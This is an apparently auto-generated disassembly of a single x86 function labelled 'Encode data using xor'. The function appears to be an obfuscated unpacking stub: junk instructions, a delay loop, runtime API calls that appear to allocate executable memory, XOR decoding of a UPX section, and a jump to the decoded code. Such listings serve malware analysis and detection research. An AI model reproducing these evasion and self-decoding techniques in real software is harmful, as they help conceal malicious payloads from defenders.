Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x586f59af
sub ecx, ebx
sub ecx, 1
add ebx, ecx
popal
not ecx
or ecx, ebx
or ecx, ebx
mov edx, 0
mov edi, eax
sub esi, ecx
add ecx, 0xde7be291
not esi
mov ebx, edi
or esi, esi
mov esi, 0xb1464e73
mov eax, ebx
or esi, esi
and esi, ecx
and ecx, ecx
inc edx
mov ecx, esi
sub ecx, 0xe7c44581
not esi
cmp edx, 0x1005e69
jne 0x47b450
mov ecx, 0x24077b57
add ecx, 0x7f60021
inc ecx
mov ebx, ecx
sub ecx, 0x39114ccc
mov edx, 0x47b21e
sub eax, ebx
sub edi, ebx
not ebx
mov esi, 0x47b412
add ebx, 0xbcb115e
dec edi
mov ecx, dword [edx]
add eax, 1
dec ebx
and ecx, 0xff
or ebx, ebx
add edi, 0xcb486c90
xor dword [esi], ecx
dec ebx
and ebx, edi
inc esi
sub edi, 1
sub ebx, edi
add edx, 1
not eax
sub ebx, 0x8d6b23e
cmp esi, entry0
jl 0x47b4af
sub edi, 1
sub eax, 0x46f2ec5c
not ebx
not ebx
inc ecx
or edi, edi
mov edi, 0x3c4051
mov esi, 0x47b416
mov ebx, 0x66632178
sub edx, edi
mov edx, 0xa994d575
mov esi, dword [esi]
add edx, 1
mov ecx, edi
mov esi, dword [esi]
or ecx, ebx
or edi, ebx
or ecx, ecx
push esi
inc edx
add edx, 0x8262ff47
mov esi, 0x47b412
sub ecx, 0xbcc00007
add edi, ebx
mov ecx, 0xd2348504
mov esi, dword [esi]
sub edx, ebx
add ebx, edx
dec edi
mov esi, dword [esi]
sub edi, 1
not edi
or edx, ebx
push 0x47b41a
sub ebx, 0x909f0456
mov ebx, ecx
call esi
sub ecx, ebx
and edi, edi
pop esi
inc edx
add edx, edi
dec ebx
push 0x47b427
inc edx
inc ecx
mov ecx, edx
push eax
mov edx, 0xcf5cbc83
and ecx, ebx
call esi
dec ebx
add edx, 0xe564740f
push 0x40
sub edx, 0xc1f23e9a
add edx, ecx
mov edx, 0x9bc098b4
push 0x3000
or ebx, ebx
sub edi, 0xe6ad3f0f
push 0x20000012
not edi
inc ecx
push 0
not edx
not ebx
and edx, ecx
call eax
not edi
not edi
add eax, 0x1fffff4b
not ebx
sub ebx, edi
sub edi, ecx
mov esi, 0x2e3c8f91
dec edx
add edi, 1
mov dword [eax], esi
and ecx, edi
dec ecx
not ebx
mov esi, dword [eax]
sub ebx, 1
mov edi, 0xa92dfdcb
and edi, ebx
cmp esi, 0x2e3c8f91
je 0x47b5fd
mov edx, 0
mov ebx, dword [edx]
add ecx, edi
sub ecx, 0x2aaabf11
or ecx, edx
inc edx
and edi, ebx
add ebx, edx
and ebx, ecx
and ebx, ecx
mov esi, section.UPX1
and ebx, ebx
add ebx, ecx
or ecx, ecx
mov edi, 0x47b21d
and ecx, ebx
inc ecx
mov eax, 0
add ebx, ecx
sub ebx, ecx
add ecx, ecx
mov edx, 0x47b21e
dec ebx
add ebx, 0x5c5f66d0
mov ecx, ebx
lea edx, [eax + edx]
or ebx, ebx
not ebx
mov edx, dword [edx]
and ebx, ebx
sub ecx, 0x4627eab5
sub ecx, ebx
and edx, 0xff
and ecx, ecx
add ebx, 0x8625acee
mov ecx, 0x6bf991ba
inc eax
not ecx
sub ebx, ecx
or ebx, ebx
cmp eax, 0x1f4
jne 0x47b676
mov eax, 0
mov ebx, ecx
sub ecx, 0x25db0c04
and ecx, ecx
add ebx, 0xe6f214a7
sub ebx, 0x98d9458f
xor dword [esi], edx
mov ecx, ebx
or ebx, ecx
dec ecx
add esi, 2
sub ebx, ecx
sub ebx, 0x69fea031
cmp esi, edi
jl 0x47b62e
sub ecx, ebx
and ebx, ebx
dec ecx
add ecx, ebx
or ebx, ecx
and ebx, ebx
mov edx, section.UPX1
and esi, ebx
dec esi
mov ecx, section.UPX1
inc esi
dec esi
and ebx, ebx
mov edi, 0x47b21d
dec esi
sub esi, 0x2ed9e60
or esi, ebx
mov eax, 0
not esi
not ebx
dec ebx
mov al, byte [ecx]
mov ebx, esi
mov esi, 0x32661d2b
mov byte [edx], al
mov esi, 0x750a0495
and esi, ebx
add edx, 1
mov esi, ebx
add ebx, esi
add ebx, 0xe458ef16
add ecx, 2
mov esi, 0x3f1aa7fa
sub esi, 0x3a558f18
cmp ecx, edi
jle 0x47b6dd
or esi, esi
dec esi
and ebx, ebx
and ecx, ecx
add ebx, 0x7a432694
inc ebx
push 0x45e6a0
inc ebx
add ecx, 0xa495ee5f
ret